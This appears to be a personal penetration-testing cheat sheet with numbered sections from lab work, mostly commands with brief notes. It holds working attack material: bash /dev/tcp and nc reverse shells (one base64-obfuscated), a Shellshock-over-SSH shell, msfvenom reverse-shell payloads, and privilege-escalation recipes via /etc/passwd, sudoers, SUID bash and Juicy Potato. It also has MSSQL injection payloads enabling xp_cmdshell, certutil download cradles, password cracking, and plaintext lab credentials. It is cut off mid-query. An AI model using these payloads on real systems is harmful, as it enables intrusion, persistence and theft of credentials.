Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation - Linux local Exploit\nI never expected this privilege-escalation exploit to run. This type of exp is not common for me, so I assumed it would not be very useful. It does work, though, so I\u0026rsquo;m noting it down for now.\n23.hexchat(IRC) The default password for ngIRCd is \u0026rsquo; wealllikedebian \u0026lsquo;.\n24.smtp-user-enum SMTP user enumeration. See help for detailed usage instructions.\nsmtp-user-enum -M VRFY -U ./test.txt -t 192.168.1.10\n25.shellshock While working on a lab, I ran into a connection that dropped immediately after succeeding. I searched for ages but could not find a vulnerability tutorial for \u0026ldquo;executing a command during an SSH connection.\u0026rdquo; The only suggestion I found was to append \u0026ldquo;ls -al\u0026rdquo; to the connection command, but that did not work. I later found this vulnerability in a write-up.\nbash - how can shellshock be exploited over SSH? - Unix \u0026amp; Linux Stack Exchange\n\u0026lsquo;() { :;}; command\u0026rsquo; # Append this when connecting; command is the command to execute\nssh -i noob noob@192.168.1.5 -o PubkeyAcceptedKeyTypes=ssh-rsa \u0026ldquo;() { :;}; bash -c \u0026rsquo;exec bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.1.8/1111 \u0026lt;\u0026amp;1\u0026rsquo;\u0026rdquo;\n26.apache2.conf Privilege Escalation The basic idea is to add a user and group to apache2.conf. After Apache restarts, the configuration takes effect. Place a webshell in /var/www/html beforehand; after the restart, trigger the webshell to get a reverse shell with the permissions of the user you added.\nRoot cannot start it by default, so this is for escalating to another user. You need permission to restart Apache and modify apache2.conf.\n#User ${APACHE_RUN_USER} #Group ${APACHE_RUN_GROUP}\nUser test\nGroup test\nThe /etc/apache2/sites-enabled directory contains configuration files.\n27.netstat -tuln Check which ports are in use. This command is simple and there is not much to it, but I\u0026rsquo;m noting it down anyway.\nnetstat -tuln\nnetstat -ano\n28.dig To enumerate subdomains, put the domain after dig and the DNS server after @.\ndig hackers.blackhat.local @192.168.2.177\ndig @10.10.10.123 friendzoneportal.red AXFR\ndnsenum fabricorp.local \u0026ndash;dnsserver 10.10.10.193\nThis command returns records for the entire DNS zone, including all A, AAAA, CNAME, and MX records, along with subdomain information.\n1 dnstool.py -u \u0026#39;DOMAIN\\user\u0026#39; -p \u0026#39;password\u0026#39; --record \u0026#39;*\u0026#39; --action query \u0026lt;dc_ip\u0026gt; 29.Privilege Escalation with the Python cap_sys_ptrace+ep Capability Command: getcap -r / 2\u0026gt;/dev/null |grep python\nOutput: /usr/bin/python2.7 = cap_sys_ptrace+ep\nScript: https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py\nTutorial: https://www.cnblogs.com/zlgxzswjy/p/15185591.html\n30. /etc/passwd Privilege Escalation When /etc/passwd is writable, add a user entry and switch to it with su.\nGenerate a salted password. Password is the password to set, and salt is the salt to use.\nperl -le \u0026lsquo;print crypt(\u0026ldquo;Password\u0026rdquo;,\u0026ldquo;salt\u0026rdquo;)\u0026rsquo;\nWrite it to /etc/passwd, then switch users with su.\necho \u0026ldquo;hack:ad7t5uIalqMws:0:0::/root:/bin/bash\u0026rdquo; \u0026raquo; /etc/passwd\n31.Cron-Job Privilege Escalation cat /etc/crontab\nInspect the scheduled tasks and identify the important part.\n1 # */5 * * * * root cd /var/www/html/ \u0026amp;\u0026amp; sudo ./finally.sh Column 1: Minute (0-59)\nColumn 2: Hour (0-23)\nColumn 3: Day of the month (1-31)\nColumn 4: Month (1-12)\nColumn 5: Day of the week (0-7, where both 0 and 7 represent Sunday)\nColumn 6: User that executes the command\nColumn 7: Command to execute\nThis means that every five minutes, root enters the /var/www/html/ directory and runs the finally.sh script with sudo privileges.\nWhen a file executed by a scheduled task runs as root and an ordinary user can modify that file\nchmod u+s /bin/bash chmod u+s /bin/bash\n/bin/bash -p # Escalate to the root group\nOr:\ncp /bin/bash /var/www/html/suidbash chmod u+s /var/www/html/suidbash\nsuidbash -p # Escalate to the root group\nsudo -l echo \u0026lsquo;www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh\u0026rsquo; \u0026raquo; /etc/sudoers Write sudo execution permission for the current account into sudoers, then add the u+s permission to the executable. Finally, run the file with sudo to escalate privileges, as shown below:\nchmod u+s finally.sh echo \u0026lsquo;www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh\u0026rsquo; \u0026raquo; /etc/sudoers\nsudo -l\nMatching Defaults entries for www-data on sar: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin\nUser www-data may run the following commands on sar: (ALL) NOPASSWD: /var/www/html/finally.sh\necho \u0026lsquo;su root\u0026rsquo; \u0026raquo; finally.sh sudo /var/www/html/finally.sh\n32.Bypassing Command-Injection Restrictions Ways to Bypass Some Command-Injection Restrictions - Xianzhi Community\necho \u0026ldquo;YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi43NS85OTk5IDwmMSc=\u0026rdquo; | base64 -d | bash\necho Decode and execute\n33.Reversing pyc with uncompyle6 This is all you need to reverse a pyc file: uncompyle6 1.pyc \u0026gt; 1.py\nOnline decompiler for pyc, pyo, python, and py files; currently supports Python 1.5 through 3.6 - Online Tool\n34.Reverse Shells bash -c \u0026rsquo;exec bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.2.75/9999 \u0026lt;\u0026amp;1\u0026rsquo;\npython -c \u0026lsquo;import pty; pty.spawn(\u0026quot;/bin/bash\u0026quot;)\u0026rsquo;\nnc -e /bin/bash 192.168.31.17 7777\n35.john echo \u0026lsquo;$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41\u0026rsquo; \u0026raquo;/tmp/1 john /tmp/1 \u0026ndash;wordlist=/usr/share/wordlists/rockyou.txt\nzip: zip2john passwd.zip \u0026gt; passwd.hash\njohn passwd.hash john passwd.hash \u0026ndash;wordlist=/usr/share/wordlists/rockyou.txt\njohn \u0026ndash;pot=new.pot hash.txt \u0026ndash;wordlist=/usr/share/wordlists/rockyou.txt\n36.Process Discovery with pspy Release No more waiting on drain · DominicBreuker/pspy · GitHub\nUpload and run it to inspect processes, then continue with privilege escalation.\n37.Wordlists Directory brute-forcing wordlists:\n/usr/share/wordlists/src/dirbuster/directory-list-2.3-big.txt\n/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt\n1 2 3 4 5 6 7 https://www.cnblogs.com/shenlinken/p/10176682.html can manipulate wordlists, including deduplication and reverse sorting sort -u duweixin.net.txt\t#Remove duplicates sort -r duweixin.net.txt\t#Reverse sort # This is very powerful feroxbuster --url http:// https://rivers.chaitin.cn/blog/cqnmojp0lnec5jjug96g 38.smtp Common commands:\nCommand\tPurpose\nhelo smtp\tGreet the server and test whether login worked\nauth login\tLog in to a specific mailbox; the username and password are base64-encoded\nmail from\tEnter the email sender\nrcpt to\tEnter the email recipient\ndata\tStart composing the email\nquit\tExit\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # Greet the server HELO mail.relia.com # Start authentication AUTH LOGIN # Enter the Base64-encoded username (maildmz@relia.com) bWFpbGRtekByZWxpYS5jb20= # Enter the Base64-encoded password (DPuBT9tGCBrTbR) RFB1QlQ5dEdjQnJUYlI= MAIL FROM:\u0026lt;maildmz@relia.com\u0026gt; RCPT TO:\u0026lt;RECIPIENT_EMAIL\u0026gt; DATA Subject: Test email This is the email body . # A dot on its own line terminates the message body swaks --to jim@relia.com \\ --from maildmz@relia.com \\ --server 192.168.183.189 \\ --auth LOGIN \\ --auth-user maildmz@relia.com \\ --auth-password DPuBT9tGCBrTbR \\ --header \u0026#34;Subject: Test Email Subject\u0026#34; \\ --body \u0026#34;This is the email body content.\\nMultiple lines can be included.\\n\u0026#34; \\ --attach file.txt \\ --attach-type \u0026#34;text/plain\u0026#34; \\ --attach-name \u0026#34;custom_filename.txt\u0026#34; # Prefix attachments with @ swaks -to jim@relia.com --from maildmz@relia.com -ap --attach @configuration.Library-ms --server 192.168.183.189 --auth LOGIN --auth-user maildmz@relia.com --auth-password DPuBT9tGCBrTbR --body \u0026#34;This is the email body content.\\nMultiple lines can be included.\\n\u0026#34; --header \u0026#34;Subject: Urgent Configuration Setup\u0026#34; --suppress-data Here is a serious problem I ran into: I could not include an attachment.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 # Create the email format cat \u0026gt; email.txt \u0026lt;\u0026lt; \u0026#39;EOL\u0026#39; From: maildmz@relia.com To: jim@relia.com Subject: Urgent Configuration Setup MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=boundary --boundary Content-Type: text/plain This is the email body content. --boundary Content-Type: application/ms-library Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=\u0026#34;configuration.Library-ms\u0026#34; EOL # Base64-encode the file being sent and place it below base64 configuration.Library-ms \u0026gt;\u0026gt; email.txt # End echo \u0026#34; --boundary--\u0026#34; \u0026gt;\u0026gt; email.txt Request packet up to this point swaks -to jim@relia.com \\ --from maildmz@relia.com \\ --auth LOGIN \\ --auth-user maildmz@relia.com \\ --auth-password DPuBT9tGCBrTbR \\ --server 192.168.183.189 \\ --data \u0026#34;$(cat email.txt)\u0026#34; Common response codes:\nCode\tMeaning\n220\tSMTP is online and ready for operations\n221\tClose the SMTP service\n250\tThe current operation completed successfully\n334\tWaiting for input; appears during user login\n235\tAuthentication succeeded\n535\tAuthentication failed\n39.pop3 The POP3 protocol\nThe default POP3 port is 110. The POP3 protocol has two stages:\nAuthentication stage\nThe client enters a username and password for authentication, and the server returns OK or ERR.\nTransaction stage\nThis stage supports basic email operations.\nCommon commands:\nCommand\tPurpose\nuser\tEnter the username\npass\tEnter the password\nlist\tList the number of messages and number them automatically\nretr\tRetrieve a message by its number\ndele\tDelete a message\nquit\tExit\n40.nmap nmap -p- \u0026ndash;min-rate 10000 10.10.10.51\n\u0026ndash;script vuln\nfind /usr/share/nmap/scripts -name \u0026lsquo;wordpress\u0026rsquo;\nnmap -T4 -Pn -sC \u0026ndash;script http-wordpress-enum \u0026ndash;script-args http-wordpress-enum.root=\u0026quot;/webservices/wp/\u0026quot;,http-wordpress-enum.search-limit=\u0026ldquo;all\u0026rdquo;,http-wordpress-enum.check-latest=\u0026ldquo;true\u0026rdquo; -p80 tartarsauce.htb\nnmap -p- \u0026ndash;min-rate 10000 -oA scans/nmap-alltcp 10.10.10.193\nhttps://nmap.org/nsedoc/scripts/http-wordpress-enum.html\nhttps://nosec.org/home/detail/2844.html\t# enumerate plugins\n1 2 3 4 # Check host availability nmap -sn 172.16.131.0/24 # Initial scan nmap -Pn -p 21,22,23,80,443,445,3389 172.16.131.0/24 41.masscan masscan -p 1-65535 10.10.10.58 \u0026ndash;rate=100\n42.nc 1 2 3 4 5 Server cat aa.txt | nc -l -p 10000 nc -l -p 10000 \u0026lt; aa.txt Client nc -n 192.168.1.100 10000 \u0026gt; aa.txt plain Run this on the receiving end: (6666 can be any available port) nc -lvp 6666 \u0026gt; fileName Run this on the sending end: nc target_ip 6666 \u0026lt; fileName 43.wpscan wpscan \u0026ndash;url http://10.10.10.88:80/webservices/wp -e ap \u0026ndash;plugins-detection aggressive -t 50 # thoroughly enumerate plugins\n44.sudo sudo -u lets you specify a user and run an application that user is allowed to elevate with sudo.\n45.locate locate backuper\nSimilar to find, but more convenient.\n46.bash /bin/bash bash -p\t# spawns a new shell with the current privileges; this can be useful in scripts, for example with SUID\n1 2 3 4 5 6 7 8 9 ```c #include \u0026amp;lt;unistd.h\u0026amp;gt; void main() { execl(\u0026#34;/bin/bash\u0026#34;, \u0026#34;bash\u0026#34;, \u0026#34;-p\u0026#34;, NULL); } ```text 47.gcc For version compatibility issues, use static linking. Some hosts are 32-bit, so add m32.\ngcc -static -m32 -o 1 1.c\n48.irc IRC is chat software. Just launch it with HexChat; the rest of the setup is fairly straightforward.\n49.SSH Configuration File https://blog.csdn.net/qq_41765918/article/details/126837789\nPublic Key Filename On the machine you want to trust, the public key file is named authorized_keys. If there are multiple machines, put each key on its own line. The filename is determined by the AuthorizedKeysFile parameter in /etc/ssh/sshd_config; the default is authorized_keys.\nPublic Key Path Open /etc/ssh/sshd_config and find the AuthorizedKeysFile .ssh/authorized_keys setting, as shown below.\nIf the setting is uncommented, place the authorized_keys file in the configured directory. If it is still commented out, the file goes under ~/.ssh/.\nPermissions Directory structure: ~/.ssh/authorized_keys\nSet the authorized_keys file permissions to 600, the .ssh directory permissions to 700, and the home directory permissions to 755.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #Disable root login; enable this if logging in as root PermitRootLogin yes # Whether sshd checks permissions on the user\u0026#39;s home directory and related files. # This prevents problems caused by incorrect permissions on important files. # For example, incorrect permissions on ~/.ssh/ may prevent login in some cases. StrictModes no # Whether users may log in with key pairs; applies only to version 2. # User public keys are stored in .ssh/authorized_keys under the home directory. RSAAuthentication yes PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys # Disable password login once key-based login is configured. PasswordAuthentication no 50.Multiple Shells 1 2 setsid bash -c \u0026#39;exec bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.14/9999 \u0026lt;\u0026amp;1\u0026#39; \u0026gt; output.log 2\u0026gt;\u0026amp;1 \u0026amp; nohup setsid bash -c \u0026#39;exec bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.14/9999 \u0026lt;\u0026amp;1\u0026#39; \u0026gt; output.log 2\u0026gt;\u0026amp;1 \u0026amp; 51.Buffer Overflow (Brief Notes) 1 2 3 4 5 6 7 8 9 10 info registers\t#Crash information disassemble\t#Add an argument, such as disassemble main, to view the function\u0026#39;s assembly ldd\t#Find dynamic libraries ldd rop | grep libc\t#rop is the target program readelf\t#Find function offsets readelf -s /lib/i386-linux-gnu/libc.so.6 | grep \u0026#34; system\u0026#34;\t#Find the system function offset strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep \u0026#34;/bin/sh\u0026#34;\t#Find the /bin/sh string address break *0x80484f8\t#Set a breakpoint x/20x $esp\t#View stack data ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Dump of assembler code for function vuln: 0x080484f8 \u0026lt;+0\u0026gt;: push %ebp\t#Push the caller\u0026#39;s frame base onto the stack 0x080484f9 \u0026lt;+1\u0026gt;: mov %esp,%ebp\t#Set ebp to the current stack top 0x080484fb \u0026lt;+3\u0026gt;: sub $0x38,%esp\t#Subtract 56 bytes from the stack pointer to allocate space 0x080484fe \u0026lt;+6\u0026gt;: sub $0x8,%esp\t#Subtract 8 bytes from the stack pointer to allocate space 0x08048501 \u0026lt;+9\u0026gt;: push 0x8(%ebp)\t#Push the 8-byte argument onto the stack 0x08048504 \u0026lt;+12\u0026gt;: lea -0x30(%ebp),%eax\t#Subtract 48 bytes from ebp and store the address in eax 0x08048507 \u0026lt;+15\u0026gt;: push %eax\t#Push eax onto the stack 0x08048508 \u0026lt;+16\u0026gt;: call 0x8048350 \u0026lt;strcpy@plt\u0026gt;\t#Call strcpy 0x0804850d \u0026lt;+21\u0026gt;: add $0x10,%esp 0x08048510 \u0026lt;+24\u0026gt;: sub $0xc,%esp 0x08048513 \u0026lt;+27\u0026gt;: push $0x80485dd 0x08048518 \u0026lt;+32\u0026gt;: call 0x8048340 \u0026lt;printf@plt\u0026gt; 0x0804851d \u0026lt;+37\u0026gt;: add $0x10,%esp 0x08048520 \u0026lt;+40\u0026gt;: sub $0xc,%esp 0x08048523 \u0026lt;+43\u0026gt;: lea -0x30(%ebp),%eax 0x08048526 \u0026lt;+46\u0026gt;: push %eax 0x08048527 \u0026lt;+47\u0026gt;: call 0x8048340 \u0026lt;printf@plt\u0026gt; 0x0804852c \u0026lt;+52\u0026gt;: add $0x10,%esp 0x0804852f \u0026lt;+55\u0026gt;: nop 0x08048530 \u0026lt;+56\u0026gt;: leave 0x08048531 \u0026lt;+57\u0026gt;: ret 52.Windows: Switch Users 1 2 3 4 5 6 7 8 9 10 11 12 runas /user:administrator cmd.exe psexec -u app -p password powershell $username = \u0026#34;app\u0026#34; $password = ConvertTo-SecureString \u0026#34;password\u0026#34; -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) # Method 1: Invoke-Command Invoke-Command -ScriptBlock { COMMAND_TO_EXECUTE } -Credential $cred # Method 2: Start-Process Start-Process powershell -Credential $cred -ArgumentList \u0026#34;COMMAND_TO_EXECUTE\u0026#34; 53.msfvenom On Windows, getting a reverse shell seems a bit more troublesome. Unlike Linux, it is not nearly as convenient to bounce a shell back.\nThat is when all kinds of msfvenom reverse-shell payloads come in handy, so I am keeping a record of them here.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 For non-MSF reverse-shell scripts, use an nc listener msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666 msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334 aspx msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=3333 -f aspx x\u0026gt; ./back.aspx jsp msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw \u0026gt; shell.jsp dll msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll asp msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x\u0026gt; ./back.asp php msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.14 LPORT=6666 -f raw \u0026gt; shell.php Use payloads as the -l argument to list all payloads Use --platform to specify the payload platform and --arch to specify the architecture msfvenom -l payloads --platform windows --arch x64 54.Standard Windows Privilege Escalation Juicy Potato Privilege Escalation https://github.com/k4sth4/Juicy-Potato/blob/main/x64/jp.exe\nhttps://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md # find the CLSID for the matching version\nhttps://www.cnblogs.com/J0o1ey/p/15714555.html Detailed tutorial\nCheck whether the default RPC port is 135. If it has been changed (for example, to 111), use the juicypotato parameter -n 111 to specify the RPC port. Run whoami /priv to check whether the current user privileges meet the requirements. If SeImpersonate is enabled, use -t t with juicypotato.\nIf SeAssignPrimaryToken is enabled, use -t u with juicypotato.\nIf both are enabled, use -t *.\nIf neither is enabled, privilege escalation is not possible.\nhttps://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer\n1 2 echo START C:\\Users\\Destitute\\nc64.exe -e cmd.exe 10.10.16.14 5555 \u0026gt; shell.bat .\\jp.exe -t t -p .\\shell.bat -l 1118 -c \u0026#34;{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}\u0026#34; 55.impacket Parameters 1 2 smbserver.py kali . -smb2support #Enable SMB2 python smbpasswd.py tlavel@10.10.10.193 56.RPC Enumeration 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 rpcclient -U \u0026#34;\u0026#34; -N 10.10.10.248 rpcclient -U \u0026#34;tlavel%9VwzPigFmknx\u0026#34; -c \u0026#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit\u0026#39; 10.10.10.193 rpcclient -U \u0026#34;oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd\u0026#34; -N -c \u0026#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit\u0026#39; 10.10.132.140 # View all users enumdomusers # View all groups enumlsgroups # Query which groups a user belongs to queryusergroups queryusergroups 0x46c # The IT group can change passwords # A misconfigured permission may allow password changes setuserinfo christopher.lewis 23 \u0026#39;Admin!23\u0026#39; setuserinfo2 christopher.lewis 23 \u0026#39;Admin!23\u0026#39; setuserinfo3 christopher.lewis 23 \u0026#39;Admin!23\u0026#39; This can connect through WinRM 57.windows download 1 2 3 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\\nc64.exe curl http://10.10.16.2:33333/frp/frpc.exe -o .\\frpc.exe certutil -urlcache -split -f http://10.10.16.2:33333/Fuse/shell.exe C:\\test\\shell.exe 58.git 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 git-dumper http://192.168.165.144/.git/ output_dir # Stage new files in Git git add shell.aspx # Commit changes git commit -m \u0026#34;add shell.aspx\u0026#34; # Push changes git push origin main git show #View all commits Stage all changes: git add . # Stage all changes in the current directory git add -A # Stage all changes, including deleted files Stage specific files: git add file1.txt file2.txt # Stage multiple specified files git add *.txt # Stage all .txt files Similar choices are available when committing: git commit -m \u0026#34;message\u0026#34; # Commit all staged files git commit file1.txt -m \u0026#34;message\u0026#34; # Commit a specific file git commit -am \u0026#34;message\u0026#34; # Automatically stage and commit all tracked changes Normal commit git add . git commit -m \u0026#34;test\u0026#34; git push Private-token authentication git remote set-url origin https://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/your-group/your-project.git git remote set-url origin http://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/skylark-rd/scratchpad https://juejin.cn/post/7021023267028729887 59.ExifTool (Metadata Analysis) 1 2 ExifTool 1.pdf ExifTool -a -u 1.pdf 60.Synchronize the Clock (Time) https://gitlab.com/NTPsec/ntpsec/-/issues/292\nhttps://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 ntpdate -u htb.local \u0026amp;\u0026amp; date ntpdate -u htb.local -6 \u0026amp;\u0026amp; date ntpdate -u htb.local -4 \u0026amp;\u0026amp; date rpcclient -U \u0026#34;\u0026#34; -N htb.local rpcdump\u0026gt; gettime net time -S htb.local rdate -n htb.local #Synchronize date -s \u0026#34;Sat Dec 7 05:14:11 2024\u0026#34; date 61.Windows: Read the Microsoft Defender Exclusion List 1 reg query \u0026#34;HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\u0026#34; /s 62.OSCP Notes - Information Gathering WHOIS listens on port 43.\n1 2 3 4 whois 38.100.193.70 -h 192.168.50.251 whois megacorpone.com -h 192.168.50.251 whois megacorpone.com -h 192.168.131.251 Google: use the Google crawler for information gathering.\n1 2 3 4 5 6 7 8 9 10 # Filter files with a .txt suffix site:megacorpone.com filetype:txt # Exclude files with an .htlm suffix site:megacorpone.com -filetype:html # The above is only a small sample; the command below can find much more information https://www.exploit-db.com/google-hacking-database https://dorksearch.com/ site:megacorpone.com intext:VP Of Legal host\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 host www.megacorpone.com host -t mx megacorpone.com host -t txt megacorpone.com host www.megacorpone.com host idontexist.megacorpone.com cat list.txt www ftp mail owa proxy router for ip in $(cat list.txt); do host $ip.megacorpone.com; done for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v \u0026#34;not found\u0026#34; DNS brute forcing\n1 2 3 4 5 6 7 8 9 Use -d to specify the domain and -t to specify the enumeration type (a standard scan here) dnsrecon -d megacorpone.com -t std Brute-force attempt -d specifies the domain -D specifies the file containing candidate subdomain strings -t specifies the enumeration type brt means brute force dnsrecon -d megacorpone.com -D ~/list.txt -t brt 1 dnsenum megacorpone.com 1 2 nslookup mail.megacorptwo.com nslookup -type=TXT info.megacorptwo.com 192.168.50.151 netcat\n1 2 3 4 5 6 7 8 -w specifies the connection timeout in seconds -z specifies zero-I/O mode, used for scanning without sending data -u performs a UDP scan -nv enables verbose mode -nvv enables more verbose mode nc -nvv -w 1 -z 192.168.50.152 3388-3390 nc -nv -u -z -w 1 192.168.50.149 120-123 Port scanning\n1 1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect(\u0026#34;192.168.50.151\u0026#34;, $_)) \u0026#34;TCP port $_ is open\u0026#34;} 2\u0026gt;$null 63.MSSQL Injection 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 https://y4er.com/posts/mssql-injection-learn https://y4er.com/posts/mssql-getshell/ https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword! # Restore xp_cmdshell ;EXEC sp_configure \u0026#39;show advanced options\u0026#39;,1;//Allow advanced settings to be changed RECONFIGURE; EXEC sp_configure \u0026#39;xp_cmdshell\u0026#39;,1; //Enable the xp_cmdshell extension RECONFIGURE;-- # Test whether xp_cmdshell is enabled via blind injection \u0026#39;; IF OBJECT_ID(\u0026#39;xp_cmdshell\u0026#39;) IS NOT NULL WAITFOR DELAY \u0026#39;0:0:5\u0026#39;; -- \u0026#39;; exec master..xp_cmdshell \u0026#39;whoami\u0026#39;; WAITFOR DELAY \u0026#39;0:0:5\u0026#39;; -- \u0026#39;; IF (SELECT value_in_use FROM sys.configurations WHERE name = \u0026#39;xp_cmdshell\u0026#39;) = 1 WAITFOR DELAY \u0026#39;0:0:5\u0026#39;; -- \u0026#39;; IF EXISTS (SELECT 1 FROM sys.configurations WHERE name = \u0026#39;xp_cmdshell\u0026#39; AND value_in_use = 1) WAITFOR DELAY \u0026#39;0:0:5\u0026#39;; -- # Test whether a file exists; delay five seconds if it does \u0026#39;; EXEC xp_cmdshell \u0026#39;dir c:\\inetpub\\wwwroot\\login.cs\u0026#39;; IF @@ERROR = 0 WAITFOR DELAY \u0026#39;0:0:5\u0026#39;; -- # This also tests whether a file exists and is easier to use \u0026#39;; DECLARE @result int; EXEC @result = xp_cmdshell \u0026#39;dir c:\\inetpub\\wwwroot\\login.cs\u0026#39;; IF @result = 0 WAITFOR DELAY \u0026#39;0:0:5\u0026#39;; -- \u0026#39;; EXEC xp_cmdshell \u0026#39;dir c:\\inetpub\\wwwroot\\login.cs \u0026amp;\u0026amp; ping -n 6 127.0.0.1\u0026#39;; -- # Execute a shell \u0026#39;; exec master..xp_cmdshell \u0026#39; curl http://192.168.45.161:33333/2.txt -o C:\\ProgramData\\2.txt \u0026#39;; -- Note: Once xp_cmdshell is confirmed, writing a file is not required; it provides CMD execution. It can run many commands, such as downloading and executing a file with curl. Writing a file may be the worse choice. MSSQL statements\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword! python /usr/share/doc/python3-impacket/examples/mssqlclient.py Administrator:Lab123@192.168.164.18 -windows-auth -- List all databases SELECT name FROM master.sys.databases GO -- Switch databases USE databasename GO -- List all tables in the current database SELECT name FROM sysobjects WHERE xtype = \u0026#39;U\u0026#39; GO -- View the contents of a table SELECT * FROM tablename GO Connecting to MSSQL with PowerShell\n1 2 3 $sql = \u0026#34;Server=10.10.132.142;Database=master;Integrated Security=True;\u0026#34; $conn = New-Object System.Data.SqlClient.SqlConnection($sql) $conn.Open() Reference: https://blog.csdn.net/kk185800961/article/details/52513640\nThe one-liner below is enough to run SQL statements. If it does not work, check the reference above.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $cmd.CommandText = \u0026#34;SELECT name FROM master.dbo.sysdatabases\u0026#34;; $reader = $cmd.ExecuteReader(); while($reader.Read()){Write-Host $reader[0]}; $reader.Close() # Enable xp_cmdshell $cmd.CommandText = \u0026#34;sp_configure \u0026#39;show advanced options\u0026#39;, 1; RECONFIGURE; sp_configure \u0026#39;xp_cmdshell\u0026#39;, 1; RECONFIGURE\u0026#34;; $cmd.ExecuteScalar() # Execute a system command $cmd.CommandText = \u0026#34;EXEC xp_cmdshell \u0026#39;whoami\u0026#39;\u0026#34;; $cmd.ExecuteScalar() # Current user $cmd.CommandText = \u0026#34;SELECT SYSTEM_USER\u0026#34;; $cmd.ExecuteScalar() # Whether the current user is sysadmin $cmd.CommandText = \u0026#34;SELECT IS_SRVROLEMEMBER(\u0026#39;sysadmin\u0026#39;)\u0026#34;; $cmd.ExecuteScalar() # Current user\u0026#39;s database permissions $cmd.CommandText = \u0026#34;SELECT permission_name FROM sys.database_permissions WHERE grantee_principal_id = DATABASE_PRINCIPAL_ID()\u0026#34;; $cmd.ExecuteScalar() # Server-level permissions $cmd.CommandText = \u0026#34;SELECT * FROM fn_my_permissions(NULL, \u0026#39;SERVER\u0026#39;)\u0026#34;; $cmd.ExecuteScalar() # Database-level permissions $cmd.CommandText = \u0026#34;SELECT * FROM fn_my_permissions(NULL, \u0026#39;DATABASE\u0026#39;)\u0026#34;; $cmd.ExecuteScalar() # SQL Server version $cmd.CommandText = \u0026#34;SELECT @@version\u0026#34;; $cmd.ExecuteScalar() # Server name $cmd.CommandText = \u0026#34;SELECT @@SERVERNAME\u0026#34;; $cmd.ExecuteScalar() # Current database $cmd.CommandText = \u0026#34;SELECT DB_NAME()\u0026#34;; $cmd.ExecuteScalar() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 MSSQL privilege-escalation technique This MSSQL privilege-escalation method uses IMPERSONATE permission: First, check whether another user can be impersonated: -- Query users that can be impersonated SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = \u0026#39;IMPERSONATE\u0026#39; SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON 